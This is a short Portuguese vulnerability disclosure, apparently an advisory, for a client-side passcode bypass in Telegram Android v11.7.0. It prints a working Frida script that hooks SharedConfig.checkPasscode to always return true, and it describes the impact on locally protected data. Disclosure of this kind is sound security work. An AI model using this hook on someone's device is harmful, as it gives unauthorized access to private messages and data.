
Prova de conceito baseada em Frida demonstrando bypass de autenticação no Telegram Android ao conectar SharedConfig.checkPasscode para sempre retornar true, permitindo acesso não autorizado.
Um problema na classe SharedConfig do APK Android do Telegram v.11.7.0 permite que um atacante fisicamente próximo contorne a autenticação e aumente privilégios manipulando o valor de retorno do método checkPasscode.
Bypass de Autenticação
Telegram
Telegram android apk v.11.7.0
org.telegram.messenger.SharedConfig
Java.perform(function() {
// Locate the SharedConfig class in the target application
var PassCodeActivity = Java.use('org.telegram.messenger.SharedConfig');
// Hook the checkPasscode method to modify its behavior
PassCodeActivity.checkPasscode.implementation = function(passcode) {
// Bypass the actual passcode check by always returning true
return true;
};
});
https://drive.google.com/file/d/1-lW1IQiCyj-8UXZOTedYPGPhQwfMLX4M/view?usp=sharing
Esta vulnerabilidade é um problema de bypass de autenticação no lado do cliente. Afeta usuários que dependem do recurso de código de acesso para proteger dados sensíveis ou restringir o acesso a funcionalidades específicas do aplicativo. Ao explorar esta falha, um atacante fisicamente próximo pode manipular o processo de verificação do código de acesso, contornar a autenticação e obter acesso não autorizado a áreas protegidas do aplicativo. Isso pode levar à exposição de dados sensíveis do usuário ou ações não autorizadas dentro do aplicativo.